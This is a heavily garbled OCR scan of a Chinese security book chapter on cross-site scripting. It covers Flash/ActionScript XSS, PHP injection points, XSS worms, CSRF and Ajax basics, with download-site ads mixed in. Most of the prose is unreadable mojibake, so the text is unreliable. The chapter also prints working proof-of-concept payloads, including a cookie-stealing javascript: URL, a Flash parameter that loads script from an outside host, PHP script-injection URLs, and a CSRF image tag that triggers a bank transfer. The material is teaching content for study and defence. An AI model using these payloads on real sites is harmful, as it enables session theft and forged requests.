{E ActionScript 2.0 1, 04 BAURIRF HE——AF (] R V1 44k (2% & 28 ] LAYE 4 FlashVar Iﬂfﬁ%ﬂﬁb
e FHZE MK T AR R ) )

if (checkLogin()){
user=ture;
}
if (user) (
manager (). ;
i !

i -5, R 4 28 & user RV G4, HUEAE GET il K P 1E ) — % 8B 80K user BN true,
HESEL Actionscript 2.0 138
mF:
|  http://www.test.com/test.swf?user=true
ActionScript 1 AJ LL i A1) 2 8045 5 (9 AP 2R 1028 AT

f _root.*
_global.*
_levelO.*

HEA W F

getURL BA¥
htmlText B
load*

PR TYRMAY B /7 NUPY//WWW. L /NUan.com  £R 25 ST Pt M ay AN ZH R /7 T8 4% NUPL//T.Q.ConVKUDas DIoY M )m QU: 4829993

https://www. l1nuxprobe.com



ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

load* Jridi & 1 Ax 2 W 7 1 K 1) R L

loadVariables(‘url', level )
LoadMovie (‘url', target )
LoadMovieNum( *url’, lewvel )

XML.load (‘url’)

LoadVars.load (‘url’)

Sound. loadSound ( *url’, isStreaming );
NetStream.play( ‘url”’);

BEAMR AR RE], AW ActionScript 1455:

| loadMovie( root.mURL + '/movie2.swf');

i in) R URL:

| http://host/foo.swf?mURL=asfunction:getURL, javascript:alert (123)//

iR

! loadMovie ('asfunction:getURL, javascript:alert (123) ///movie2.swf")

AH{ER T asfunction PSR AAT JavaScript 4%,
B T root.*, AT ATMHIAIA4M) global * Ml level0.*, WIS A% 45| H# A e SRR, 0 FHl
Fir:

[ getURL(_levelO.urlParam);

EACHS HLEA K B AR IR 22 5K o 3 getURLQ), K HI ™ 55 [ £ 48 1) URL.
Biltn, Hrddi nlfee AL T Fras K .

| http://www.test.com/test.swf?urlParam=javascript:alert(document.cookie)

RHZIERZ G, SWH—4 JavaScript B HE, I Bk £ Cookie 194 % .

AL R ActionScript fURS £ # AR A7 1E Flash SCHFh (Blswf b SR 3CHF) . T 2 & 4
Flash %2k, MHZN SWF CFHETT % iFLAZRHL ActionScript, #RJ54r#T ActionScript
{08, AR ALl EAYAS AR A R A AT AT UE 2 R G R A R SEACHS, G Action
Script Viewer, 54140 & 4-24 Fios.

Action Script Viewer [FM{EAIR M. FTIFZBMFG, HBEE “SOMF” 3R FEFRRITIFH MK
Flash W IR (*.swf 3CfF), iR #)3 ActionScript 1X5%, WA 4-25 AiR.

BER M Flash T XSS, #ta%ixt Flash/ActionScript 47— &M T M. M ATLBE
ActionScript ¥ K&, K4 ActionScript F1 JavaScript ()i ARAE, LB H & JavaScript iF
& 3] ActionScript 2 R FHY .

PZ 1422 K Wit KA~ Flash XSS, HAHK ActionScript SIS0 -

private function checkReady (event:Event = null) : void

{

if (stage.stageWidth > 0)

{

removeEventListener (Event.ENTER_FRAME, this.checkReady);
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ST TR S 2 L, AT AR 2 A B AT A 3, 75 R FAT 1) SERRBOR R IER T34 . BRI o0 Bkl SRt 1 3L
A ﬁuﬁf&ﬁﬁ@zﬂ%ﬁjzﬂéﬁh&%ﬂm%ﬁwﬂ@T*HIJZL, WOEE &, BB B LA . BT S IER T #E, SCREE W IERR .
o PR AR AT HREERTE E—A b, A1 H Al o B N O EBREE DI 2 Pk | SR AEL 0] i e A & s AT T T gk L N
BT Mk http://www.17huan.com ,ﬁdnﬁé 2.5T s mil LI 2 A T #E U, PRt e & I 48 R oo

Bam REXSSEEEA | N

Config.FLASH WIDTH = stage.stageWidth;

Config.FLASH HEIGHT = stage.stageHeight;

this.initUi():

ExternalInterface.addCallback("clear", this.clear):;
ExternalInterface.addCallback("hasInput"”, this.hasInput);

ExternalInterface.call (Config.FuncReady) ; //ExternalInterface.call #1i75M8B Javascript

© Action Script Viewer
File Utility Options Window Help

Fdaa » -3 DBM & @

Lk

.L \Documents and SettingsiAdministrator i\ logo. swf l__

QB O + e 0e 0D AP0 0 @ DD
Timeine | Frames | Lbrary | Actionscrpts | Specsl Tags |

Frama Actong:
- )*li

aE 4-24  Action Script Viewer

D Action Script Viewer
File Utility Options Window Help
Fdam - -3 DSED A =x
C:\l]ncimr:rtt:: and Settings\Administrat or VM \B0vul, awf I |
qOo B © % % O ® (0D &2 m0 @008
Timehne ' Frames | Library | [nstance lames | AcbonsTipls | specal Tags

View List by SWF Order~ Find: + 90 items listed

Type Locanon —-a"\e ig Ingtance of Size

. »?& _

#r
w4 Clip action

’E‘ Symbol & MoeCl., .
E_"rm-.o

£ € ymsinmt 3 Bt ™

A[E 4-25 &/ ActionScript {445
E return;

}
! private function readParams() : void // BUFERINIEE Config.FuncReady
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46 IHABEHM

iar _loc_1:* = loaderInfo.parameters;

if (_loc_l.hasOwnProperty("funcReady"))
L!;onfig.FuncReady = loc_1["funcReady"]; //XEB

;f {_loc_l.hasOwnProperty ("funcSelectChar"))
éonfig.FuncSelectChar = _loc_1["funcSelectChar"];
{f ( loc_l.hasOwnProperty("funcClose"))

{

Config.FuncClose = _loc_l["funcClose"];

}

if (_ loc l.hasOwnProperty("funcRewrite”})

{

Config.FuncRewrite = _loc_l["funcRewrite"];
}

return;

}
ARG R AT R
i ExternalInterface.call (Config.FuncReady);

Externallnterface.call[] /7 i HIK I JavaScript A%, EMMZ%Ch Config.FuncReady, IHZ %
{f readParams() fE & 2 :

] Config.FuncReady = loc_1["funcReady"];

1M _loc_1["funcReady" ) & 7L readParams()ef #5647 & X

I wvar _loc 1:* = loaderInfo.parameters;

loaderlnfo.parameters[] /5 i IR HUTS Web HulibF2 A% 8 (¥ 280 i T H1 7 ar ELEEH] Web f&id (1) 2
¥, PrLloTLL{E URL Z¥00 P hn JavaScript 145, #RJ5 {8 Actionscript ff) Externallnterface.call[]
J5iA0AT AN Javascript.

XSS POC U1 F:

g http://www.test.com/hw/main.swf?funcReady=document .write%28%22%3Cscript$20src=%27http
s ://www.B80vul.com/sobb/alert.php%27%3E%3C\/script%3E%22%29

gk el WL, Z0#T ActionScript 105K XSS 520 #T JavaScript [ /7256 A—FE: p4E 2R 25
thakh 4T C(n ActionScript 11(f] Externallnterface.call) %5 £x it plfe 3 (75, 485 [0l 9948 ik b5 o 30
VR, /2GR EH . (0 loaderInfo.parameters FKEXI S0, HeJa KM XSS.

U sRiEase

Bl Web Vb & P& Z N, ANTA Web 24BN, IUAE SRR /D B0 BH B 1) % 4
Wi, BT IFR S R 2R &SRS SE Al S, SR Bk T 00 H BLE T Ak %
Kk, 7EXTFEFEE & BEATACRG W v i, 454 St CnkR skt 28 A s B0 25 5 4 A i it
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4% HEXSSEEHME 000

XSS Wi, Fiii, FHAILL PHP i8S h AT UHE
4.6.1 PHP 4 phpinfo() XSS

PHP FF& A RN %A N phpinfo(). Z%MAEH T PHP WHFSCEL, mIfH KEH K
PHP 43k AR R, W PHP M. R% 481 BAIEIE,

Frd—A PHP X1F, #ALLFACH:

<?php

phpinfo();
>

WRIG, PP S a8 U i iz M oL, RO WP 4-26 Bk .

R phpinfol) ¥indows Internet Explorer

THE EEE TEY R TAD Whe
Om -G H@E@ e comx Q& (35

#F

=

AU @Y heap: /127,00 1 fpbpinge. php ' o U EyeE

System Vindaws NT VSPODVPEQSCY3KB 5.1 buld 2600 |

Build Date Hay 2 2008 18:01:20 ] . 3
Configure <script [nalogo configure )8 “—enable-snapshot-buld” "wivith-gdmshared” "y th-extra-
Command nchides=C:iProgram Files (xB86) Microsoft SDK\Inckide;C:iPROGRA~2\MICROS~2\V(2E

| ATLAINCLUDE; C/\PROGRA » 2YMICROS ~ 21V CH8| INCLUDE: C:\ PROGR A~ 2\MICROS ~ 2
WCES\MECUHCLUDE" “—with-extra-ios=C\Program Fies (186} \Microsaft
SOKILDC: \PROGRA ~ 2\ MICROS ~ 24 VCHE\LIE; C:\PROGRA~ 2| MICROS~ 2\ VCO8  MFCILIE™

Server API Apache 2.0 Handler
Virtual Directory |enabled
Support
tion CAWNDOWS
File (php.ini}
Path
Loaded FiiAPMSENS.2.6\PHP php i
Configuration
File
PHP API 20041225

PHP Extension | 20060613
Zend Extension |220060519

a[E 4-26 Phpinfo FIME

Sehr b, 1R 2 iR 45 85 S #45 phpinfoQIAIZ 4T, T/ phpinfo()rh FE7E— o424 ] Bk 7] g 33
R L A B 7 A I ks A A s

Stefan Esser J#/f 57 PHP il (142K & 5, fih{E MOPB-08-2007 (the Month of PHP Security)
15 H 1 Chitp://php-security.org/MOPB/MOPB-08-2007.html) $2 !, phpinfo()ek £477E 4~ XSS i,
(A ) PHP %F F P i A 028 B B0 SORRFT ED M K, Bk o) LUl #9845 %k URL ) phpinfo()
iyt P HTML A% 5 B2 XSS, 7504 -

| http://localhost/phpinfo.php?al]l=<script>alert (/XS5/);</script>
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4.6.2 $_SERVER[PHP_SELF]

$ SERVER['PHP_SELF'|/& PHP i 5+ M— 2R, MRS AsE/R, RF 40T PHP X
PEARXS T R 4R S 4 B hk .
XA 1, I FAE data.php 448 f1$_SERVER['PHP_SELF'3 &, %0 T

<?php
echo $_SERVER['PHP_SELF'];
2>

FED WAR P AT IS, it “/data.php”, WK 4-27 fias.

OQr - O [x] 7 Jwx Jremx

HIGE D) @) hatp://127.0.0. 1/data php

/data. php

I data. php Tl

IfE ®E@ HAQ HEFEW MHE

<Tphp
echo $_SERVER['PHP_SELF'];
>

A 4-27 B METHuE

{F1$_SERVER['PHP_SELF'|AEJ5 4 tH 2507 SCHR B R AL E, B E Web FFR L% FHH,
R, ZERAE—EMLERE,

B4R $_SERVER['PHP_SELF'|Z i %282 QL B3 i, {8 v AR P k. B & ) LAk
A WAL 45 X(S_SERVER['PHP_SELF'|{{, MI15|% XSS % i .

% 18 i 488G

<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="hidden" name="submitted" wvalue="1" />
<input type="submit" wvalue="Submit!" />

</form>

XBAMERSREFRZMH, ¥R A dataphp 3, RJEHE PHP HIEHiETT, o
i) EA T % -

I http://127.0.0.1/data.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo

PATRR I 4-28 FiaR.
FEHE XSS il ) R PR S .

| php echo $ SERVER(['PHP SELF'];
XATACH H R4t PHP_SELF &8, 1y iz i i P il
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B4 B XSS BALY

Erenr

[ Qen- ) [ @ n Jie lrems € (30, - @

#.‘}Mtp FA1ZT 0.0 1/ data phpf 2B erip NI Ealert [ zaa’ TR0/ ner i ptRIERIC on

a[E 4-28  $_SERVER['PHP_SELF']f % XSS

YA B S oL ) HTML 1855, 45 R 4-29 fiax.

P script¥3EX3Ciooll] - o84

QD WEQ B FEW MW
<form action="/data.php/"><{script>alert(’xss’)<{/script><{foo™>
<input type="hidden" name="submitted" value="1" />
{input type="submit" walue="Submit?™ />
</ Form>

aE 4-29 &HEF HIML 215

Web JF& P44 K RHM#HI$ SERVER['PHP SELF' A, M G BOF 2 44 ) . 5292 (] 3¢
X AW, AT LAME S htmlentities($_SERVER[‘PHP_SELF’]) ¥ #{t$_SERVER[‘PHP_SELF’], iXFf
(0 pod o £ B R ARRD, MO FT T BRI HTML 43RS, 1 AN 4 B #E ik N HTML 1865
AT .

AT VEEET A2 BR 7 PHP_SELF 24b, HAhKS_SERVER 284k th Al fEA7 A AU, thln
SCRIPT_URI. QUERY_STRING. PATH_INFO %%, {EAfi ]2 §i—— & 2 553E4T htmlentities 2 FE ¥ .

463 TEEZ

PHP &P IhEAER S KAIES . B FE. M Z, FEWMEEERR s, TRLEHER
i, FTLASE AR RIRE . '

b, PHP RfAT—Fhdadi] m fi “ 32 BAT 07, IRASILF RN 5 5, w] LA ISl 52 AS [R) A 26
¥, 1 XSS, SQL 4. MRiEhireE.

iR LR AE S AR R s O, X RS R 30T LU B AT XSS,

(1) register _globals=on;

register_globals #& php.ini HH—ARCE, XAACER R PHP Wi Bt ki 2%,
register _globals Z2¥(7F PHP 4.2.0 & L |- Jfz A< BRIA Kk i i .

™ register_globals 7 JF L5, &FpA2 &L ol LLgE BN, GF5KA HTML RAHiERER,
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a6 TIREEHH

Fhn_ L PHP fEE &R 2 jr ETHAT PG, XMEHREAE LSS EALENAG.
FFJii register_globals (f1J7 LR 4, HEE PHP MACE X phpin, 7B RF
register_globals J&1E, #8530 register_globals = Off " (F) off iUk on, W1 4-30 Fras.

Tt

413 7 ©TO DOS :-"-I-,: i ‘l. l;_'.'_l." I ' prob
+1: PEGTSEEFIGIObATS - Off

s18 ; for performarce reasons.
113 register_long_arrays = on

AaB 4-30 FF/3 register_globals

1B e e B A RS AR BT .
LB LA FACHS:
<?php

echo $a;
2> \

IXBACHIIR MY R, A Sa F oo, (HJESa FEBATVIMIL, {F register_globals 4T 71 1#) 1§
LT, PR B2 b g SERL(E,  SL 9597 i) hitp://127.0.0.1/test.php?a=XSS B 7],

AT YA, WmRE A LSS JavaScript fUFS, MAERAT XSS K, i
http://127.0.0.1/test.php?a=XSS<script>alert(/XSS/)</script>, R UK 4-31 s,

u L1 N L] -
QFE- L x| [2 % ek ek @ -
T EThep 127.0.0 1/vest phy? XSS GeriptOal et VISS/) Ureript>

| xss

A 4-31 HFTHSS

(2) extract()-
5 R P ECE R S OS] extractORAE, PHP BRAEL extractO)f] KA A48 5 MK 41 3 A3
MRS RS, WA N AR

<?
$a=1;
extract ($_GET);

echo $a;
2>

IXBARS T, $a CcVIMhtL, WORERVFZ I, WBEY 1. Bns¥ a K, W
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$4% KWEXSS R R BT

http://127.0.0.1/test.php?a=XSS, TUHE M “XSS”, $a i EH AL, BN LA T -

| extract($_GET);

IXATACHES (A 24 extract()B ST LA GET iR 2 i .

ez, it FIiE hitp://127.0.0.1/test.php?a=<script>alert(/XSS/)</script>fig /™ 4 —4~ XSS.

(3) WhYIEHILAE .

3 [ A7) G A A i B R (P SRR WL, DR A foreach() e BBl 2 R 44, GG

/11
$chs = '
if($ POST && Scharset != 'utf-8') ({

Schs = new Chinese ('UTF-8', Scharset);
foreach($_POST as $key => $value) |

$5key = $chs->Convert ($value); //foreach #¥$ posT SBERES
}

unset (Schs);

Discuz! {4 247 fEH R LAMKALHS, XBUDR & S HE RS k. A T 5 KK, Bl
Ee— FLELEACHS, POC W F:

<?

$a=1;

foreach($_GET as $key => $value) {
$5key = Svalue;

}

print %Sa;

print S$b;

>

SKBECH 1] foreach(B $AL IS GET SHCA MM d, 17 LA FBEREAE™ 2 XSS:

| http://127.0.0.1/test.php?a=XSS&b=<h1>X85</hl1>

R R &SR P 4-32 Pis.

A http://127.0.0. 1/test, php?a=E556b=Chl>E55</hl> ~

e wEE FEQY R IAD ®BH®

Qs O XN e s @
€1hetp //127.0.0 1/ test php?oXSSA=QUESSURD

XS5

XSS

AE4-32 TRBESHNSS

Bk 1 ELE 3 Fhi i, PHP rhilAfy — S I0fbde v LU R i B e B B BB o, XA ——
AT
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v

-

% XSS Worm ¥t

"

tn
»
-

2005 4, [EA5145 #1228 M55 MySpace.com I 1 BTN XSS 55 3 s i 4 5 IR0 066 L 8, X
N4k Samy [f) XSS i H17E 24 /Nif AR T 1 F TSR SR K g ST R ETKIE,
UAE G T FhiE T Web (948 Bt ik

i, AEREEEPNEZEES, RZHAITH Web 2.0 K35 HI4kER K KT A XSS Worm ¥,
WHEE A SNS #: X Orkut (I 71K SNS M4 2 —). Twitter (FIFEMIMAINAD. AANM. B
IR, LR S A ) RIS, T WL, BSRIAEG E 2 K.

LEAESE ) XSS Britih, Bkl i 9T I Cookie S # ELEARAL, FT LASRATARID I 47 2 ML
FIH] windows.open 5% Iframe 5, TR sURMABLH K 7——& 5 Bl AR LHE, Al H
Ajax AR Z G, B AN RELIEE.

Ajax (Asynchronous JavaScript + XML) &t Web Sl Y28 E AR MR K, GESCBLR L ) RS 28 %
EFERNCHAR . Ajax FCS HU EUER AT LR 0T W I I — AR TR BER, i 24 MR A0 e s I E M 2% I
it (g™ XSS i), K&y I sl F ] P s e ik AR i) fa i !

U7, B e ) IR T Web 2.0 AT, BT Web 2.0 N (%, iRinRRA
PIER) b fE B A RS BAC ., XFE N A GRS T 8 L3317 XSS Bukiblse.

fEA TR, RAILVELI/ T4 Web 2.0 IIAHCBES R Ajax () —SERERE A, LA R AT S 2% F0
Web 2.0 [N 424 fERPRIXCAINSS, BRATLS UM XSS i dU it R BRI O HOR .

BATTNE, RS T XSS Wrom U4, LLR W sCBE [ 35 HIAER K .

U30| wen20 R

TR R A S, O S BRI O 17— AR tRbEiR4e, JUILEBEAT Web 2.0 HEARMA MR
Fe, HBL T A NBE N o 18 H A 0 R P e S A A T i A 1 i 4 1) L
i, AEFRAI T ## Web 2.0 JT4G, @ I8ET Web 2.0 M H] %42

5.1.1 BTt H) Web 2.0

PR Web 2.0 (I OHBEE, B4 7% Web 1.0,
7E Web 1.0 IS, {5 QAL EFRE SN ARMGTT M5, SRR SEIM. M5%, W
K 5-1 fifarse
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5% XSS Worm El#f

X A A KRR TE BRI B, ERXFEA R, R AR, B R,
RO anE, P RS ANE.
i Web 2.0 I AR PR Bk $7 i X2 T X D). Web 2.0 MIRERLG T sﬁaﬁ”ﬂ
O’Reilly 5 MediaLive International f¥]— K21, Mo e

AL Web 2.0 B, FIPZEM LA AR E S waFmfiienm | 38 IR

—— e D

545 AW, Mgk (BBS). % (Blog). QQ (Hf). #AML (SNS) S8HU.com
(K L bR S Web 2.0 FEA R . 88 2 NevEass
Hida] W, Web 2.0 55 Web 1.0 () 3= BB 5 e T4 B v W WL ) A [4) - www.163.com
® Webl.0 R H RIS, Web2.0 HE4EH SR f a) M

® Web 2.0 I A 55 AR 45 404 LU /5 Sy by, FH P B S 03k Py 251 il s
B, R N R . e, Web2.0 YRR MOAS AR, sE5-1 EKTAmE
Web 1.0 5 Web 2.0 (9724 5t P 5-2 1 5-3 .

B
A 5-2 Web 1.0 iz

aE5-3 Web 2.0 MES

LYK Web 2.0 IV AT . RSS. #EAZ M 4%, P2P. EPIHE & (IM) 2%, o1, SNS (Social
Networking Services JAEAE ¥ 45 v 1/ 1 H ob K, X 244> ) B R W PR < LE A B4+ 42 i 4T 1) Facebook .
M. AANM, TR %5 SNS RIS, W2 KA EE.
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51 Web20A%S

Pl 5-4 BT b BT TR (R4 A8 W (AR G

[
d¥hrenren Bai®=m
51.0n

. i
orkut RIL, K&

A 5-4 RFHGDAY SNS sk

5.1.2 %1% Web20H&2eM

- {EFFEAITIE Web 2.0 ZAMEZRT, RATVEENHR —ANBUNM LR, TRAR Web 2.0 HiARNK
¥l S HF——Ajax.

Ajax (Asynchronous JavaScript + XML) & Web il S a5 B AR M 51K, fLiF Web T A 7 Kl
by 557 38 i1 G o B DI, wT BLL e R 55 AR A S SR N A, B T8 3w ) JavaScript AEFEK H
IR 55 2% £ i 1

IR Ajax ARG, W4 LIRS E D, Web IRE AN R EiE, A RERIRRE
R R0 K e 7

BEEWIFIEERY: XERTNLZLATARR?

T Web 2.0 R &, %7 s Al B WRAG T ARk 78 4 (OB TBORMUACHE, 1K ERAT
Web RIOR K ditiz H] Ajax. JavaScript SR, [NICIRZ WA R 7 &/ In, TGN
i L 2 U (1 2 A ol

(1) HT7Z 1 XSS

Web 2.0 S A SBME B =R R, P RGEZI XBR b ANER. R, Web2.0
R AT AMAR 2 AN ZZAGAT KR (75, SNS X Mg s R4 1) REHEE, KENFER
(g Zam ] Y AR < T i SR A HOAUE, BT RE R EFCIEE £/ XSS Bkt

(2) PibEE A——CSRF

CSRF (Cross-Site Request Forgery ) 55l siiiff KOV REAIES B A —HE, & — b Z 4776 Tk
1) & 4 Ui ol -

{E CSRF Bk, ki & al UK P AGEAE RS R . 2600k 3E, R B3 T RATME A,
WG Uil fER e B, Ja KA AZERATIR 2> 7 1000 76, AT REAE R Dk Brh 3 0 — N R G SRk ik
AF| IMG 5§ HTML brid, SRl i Pt 1 ki%.

Wbl

<img src=http://www.bank.com/transfer.php?toBankId=11l&amoney= >
i h // bank / f hy kId=11 1000
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RTTHH: TR

B,

B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

¥ 5% XSS Worm &4

HIP 8 gl b A J5, %2824 Cookie {7 B IRIEAEA M, SR 57007 ) LA_H8ERERT S &
AR, A=A — U A

AP 7 ELVEA 484 % CSRF N .

(3) HIEIEM 410

Web 2.0 TR M 4% 8 0 ) Bt # R BEAER AT R, [ Web 2.0 S RESEIEVF 2 AN R R P51

i A, P AT A TSR .

M, &4y £ o]t Ll it 5 TR N ] RGE (RIA) KEESLIF), XM uF b3 5 1M M
AER MG, B SR 5 M H Pt e EA.

XA i AR 2 3 BUSE AR AE 1 ) 4% 4 4 B

(4) AZEZALM Flash &4

HOR B Z TP E & Flex $iARKITF & Flash NN HFER, Flash £F 24— 30 W38 (19 58 = #6if4,
T4 Web W HIrthb A n] Do % .

tHT Flash 2§ e ht, Rtk TIRE <k, HEXahEdEn 7Rz, stor bl
L RIEAT . WSk, Flash A5 hsisiig i iF £ & 2WH, Lkl XSS, CSRF. CSF. B¥iF A%,

AP 6 TELVEMNHT X Flash M LM HZE.

(5) HAth 4P

RS AT LA Ajax SRsEEEIEFS 46, &R LAREL IS $4l. Objectss XML. HTML LI
JSON, WmHLXEeFHIgch (3 — MR EEB S T, RE®R uﬂiﬁmmﬁ'&ﬁi‘éﬁwzi

Ajax e eval()efi U 8h & 1T JavaScripts B4, Ktn]figar T84 m @ H =4, i
A R 1

message = |

from : "admin@example.com",

to : "test@victim.com",

subject : "hello!",

body : "my message ..",

showsubject : function(){document.write(this.subject)}

}i

XA R BT R, afBHER Ajax K Z RS, B JavaScript A% 3L

T9iE, R e {E R REE eval)H XZAT .

g, WRBGHHEAE “ EB” PN T ERABA, AR P B8R XSS Bl Z#H# .

7D niax A7

{E Web 2.0 P, J34F Ajax SN ARBORREEHR LU0, . tREEFIATPEILI) Web A5, H AL
2 etEm RN ARE L.

FREL, fEX o, FRATHRE® BT Web %4, RANR Ajax £iAR, XN IEATR
i ——XSS il 1 fHE %

R EH B E M Javascript/Ajax A, wTLABk X5,
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HZRY AR AR AT S AT A8, 75 N 24 B AT 1) SRR ARSI ST DRI 20 BRI T 3L
WNAFAEBR A BRTE AR BOR AR A 1 T EURIC I TR Z A, #0il , BR S BI7 LAAC P . I SKIERRAS RS, SRR TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A



ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
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5.2 Ajax HEiARIER

5.2.1 {# Ajax

Ajax (Asynchronous JavaScript and XML) #§ “ 5] JavaScript Fl XML”, &34 Web JF &
MU BARAT AN . bR L, Ajax JFAR—FPHHEAR, B RN GIEE)E Web BN HFE AT
AN —A4ERK, 1h JavaScript 15 CSS. XML. DOM JLFfZH A XMLHttpRequest ¥4 i .

Ajax ) HILFTRE 1466 0T i AR A B E ARG S, e A A% T LU P 3RO T O B AR )
WIAASS, MM K HIHES) T Web 2.0 (IR JE.

TEARSER) Web BRI TAE L F, &7 3l 55 88 1 IR 45 28 Z Al Rl 15 2 R . 2801
T MM PALE Web BT EIEHFE R, RAEKEMSREBEHRRSSE L, @ditiE, R
S AR TR &5 R U AGEEDR, XRAT N AT, BOKCHIIR % 7R RE, BEE, JEAEH T
AR ) I DREEN

MEA T Ajax #ERE, —UIHEBRESET, FPima] LR RS H[EMEFLMAR, &8
T2 /1 9mff) JavaScript ZbEEK [ AR5 8 MmN . Biltn, FHPE R Elnt, £{EH JavaScript
FI DHTML SZED ST o0fr, I R 95 a8 At bk, DABAT SE e A i BdE e . 24 SRR B0,
A AT L& JavaScript Al CSS K AH N b 58 37 i, (B8NS RIR AR, #ERAEYE, RHE
J ¥ SRR 4548 A 4 A7 FH PO BCE T 1 S5k 7 28 AN 0 S 11 0l ) A i g 4K

16451 Web MBI S Ajax B WP 5-5 B,

4, Ajax HERRIEZHTZ, Google Maps /& i # 4 1) Ajax WA Z —. B HTEZHEESI%E,
MR P AR AR Y, Azshd B ® ARB T A, mE 5-6 Fiox.

(1)
Bai®EE

Ty

! B 0 T
CmrEn | [Crn ]|
* JS i HL ! .lfchgsbi N MW BE OHNE ue: BA NS wE ]
HTTP | [...;.‘f\.-]“?.’.‘ "lf | | || javascpd BE-F i
e HTTP || ! || Javascrp @
hitp(s)f% ik || javascnptE f A BE
& Tﬂ ll'r[L:l\‘;I:IsJ - ’I'l_llp(s}ﬁéﬁ il javascript B
! 4 : L | Javascript void 0
TP | CEFEn] | ||
SR 1 . —TF 2% javascriptE B E®
m"‘—l —ml— JavascriprE@ BB S
% ' | W javascnpt split
. ol B | SR ic A i S———— Javascnipt substring
15 Web W B - Ajax W H B Javaseript P&t

A 5-5 {£4 Web 5 Ajax R7 R4S

CoRTEHR R b W 2] Ajax SR R BUSEEMM S 85, RERLNRUEZH

RECLBIEM, W 5-7 Frox. ¥AMRER QBT AR MR, TERERARE

H P IS U A TEAHE B IRACR, AR 4 CEBIEM, i A A k) RS R
B

A 5-6 EM Ajax PR EBIAR
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5% XSS Worm &t

2 RAPEZEREBAER

(X
BAPFE  admin A
&8 [
Bl SRR - EHME? HESF
Email
a5 B R s Dol nary -1

Bl Bl BT

EE

AE 5-7 {ER Ajax EARLEMER
5.2.2 XMLHttpRequest ¥ &

Ajax BRI F B H T XMLHttpRequest X %, %A Rt Ajax L. HE
XMLHttpRequest X1 % (1) AW F -

try
{
httpRequest = new ActiveXObject ("Msxml2.XMLHTTP");
1
catch (e)
{
try
{
httpRequest = new ActiveXObject ("Microsoft.XMLHTTE");
}
catch (e)
{
httpRequest = new false;
}

}

FRARHE I T4 ActiveXObject X%, fEAHKIZHUZ ActiveX X Z(H proglD, iXH &
Msxml2. XMLHTTP. ActiveXObject J5 iR BT IR Rl g2 AN, o] LA HT &N AR A 1)
XMLHttp X/ %, {HKZH Ajax FEHPNHAE N CHEMNIRAE: IHE Microsoft XMLHttp 17 )
MSXML2.XMLHttp ()56 RR A .

BATAT LA L AR BB — N R B, X BACHD S e, B R R,

function getXmlHttpRequest () {
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else(
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5.2 Ajax HAIER
try

{
xmlhttp = new ActiveXObject ("Msxml2.XMLHTTP");

}

catch (e)
{
try
{
xmlhttp = new ActiveXObject ("Microsoft.XMLHTTP");
}
catch (e)

{
xmlhttp = new false;

}

XMLHttpRequest & MRE HLAA R, AL TEMEE.
(1) XMLHttpRequest Xt % (¥ /5
2 5-1 J87< T XMLHttpRequest X1 [ 263 I 72, Forh AR B4 A48 1 ik dJy ki e AN o

% 5-1 —LERARE
A iE W

abort() #2137

getAllResponseHeaders() 6 HTTP i 3K 9 B 7 MR 6 30 15 24 Bt/ % iz 7]

getResponseHeader("header") VAL PSR R G

open("method","url"[, async, username, | HZ3TE% 25 H . method Z¥(n[LLjE GET. POST 8 PUT %: url ¥

password]) afLLE AN URL Se4a%f URL. o[iEMBHE: asyne, H Tk 80 b
(true K EEWRE): MBERBAH P BN, FH usename fl password

send(content) : [i] FRE 95 9 A2 TR AT 2R

setRequestHeader("header", "value") O b o R O AR L, A5 B AT AT 0 P T 2 55 T T open() iy A

(2) XMLHttpRequest %] %[ g ¥
BT ik 6 N4, B4 6 N5 XMLHttpRequest AHXC @M, Wk 5-2 FraR.

F5-2 xR R
B #w R
onreadystatechange AR A SN H M AKX SR BT, W S A — A JavaScript B3
readyState iRk A, AT S AATENR: o RRRMMILRNTR, | AR MITFRHER, 24

P LRI R, 3 CRIEEEBWIRE, 4 fCRmR e, RITSEN
JE5 T 4 [¥) readyState

responseText SCACKE 2T i

responseXML XML A IR, n] AR 3 4T O i) XML b B

status B 210 HTTP K75, Lohn 404, 500, BLERAIFIA NN 200 0k - DIEH)
statusText HTTP AR ()3 S A
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B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A

B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s
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B5% XSS Worm Bl#F o

523 HTTPiEkK

Ajax v 8t 05 [ 52 A9 EB 2y /& HTTP i3k, HTTP (Hypertext Transfer Protocol, # 3 4f%
BP0 R4 T AR HTML SCRY i 8ot i —Fh ol IIRESIC, Ajax 1 H M8 5720 m iR % 4 &
35 H RO -

W2, B e] ) AR 55 48 A& HTTP 53K ?

33K I At 20T 14 44 () XMLHttpRequest X[ %, Z6f %47 — R HIHF @& R, R
ik FliEaR AR XHR 3% ) iR 5% 8% A% — L A M) HTTP K.

(1) %i% GET i K.

FAT14F 564 XMLHttpRequest Xf 5 1E 4> FFEFF, tAbi getXmliHttpRequest(), 1XFFJ7{#
AiE AR, AN

var xml = new getXmlHttpRequest(); // B3 xHR iFRIR
xml.open ("GET", "/web/url.php?"+data, true); // #i&kiEXR
xml.send () ; /i SREBEIERHEEBE

Al o, GRS Ajax ATFERBAUS, XS CLARIRIEAER S 0. XBEF
SRR, BUEMEIRS 2% URL G, H “? 7 800, 5 5 i 00 3o 2w b h sy .

(2) %i% POST i#:K.

{1} XMLHttpRequest X} % &% HTTP i KK 73 —Fh 5 X2 A H POST ik, & HiELFERIZE
EERE . (EEHA R R Bl .

3% B ) MIME 285 (content type )illi i /2 application/x-www-form-urlencode, it fig LA text/xml
2% application/xml (17X 7] fi 45 8% A% XML, 2KLL application/json f3X 4% JavaScript X% .

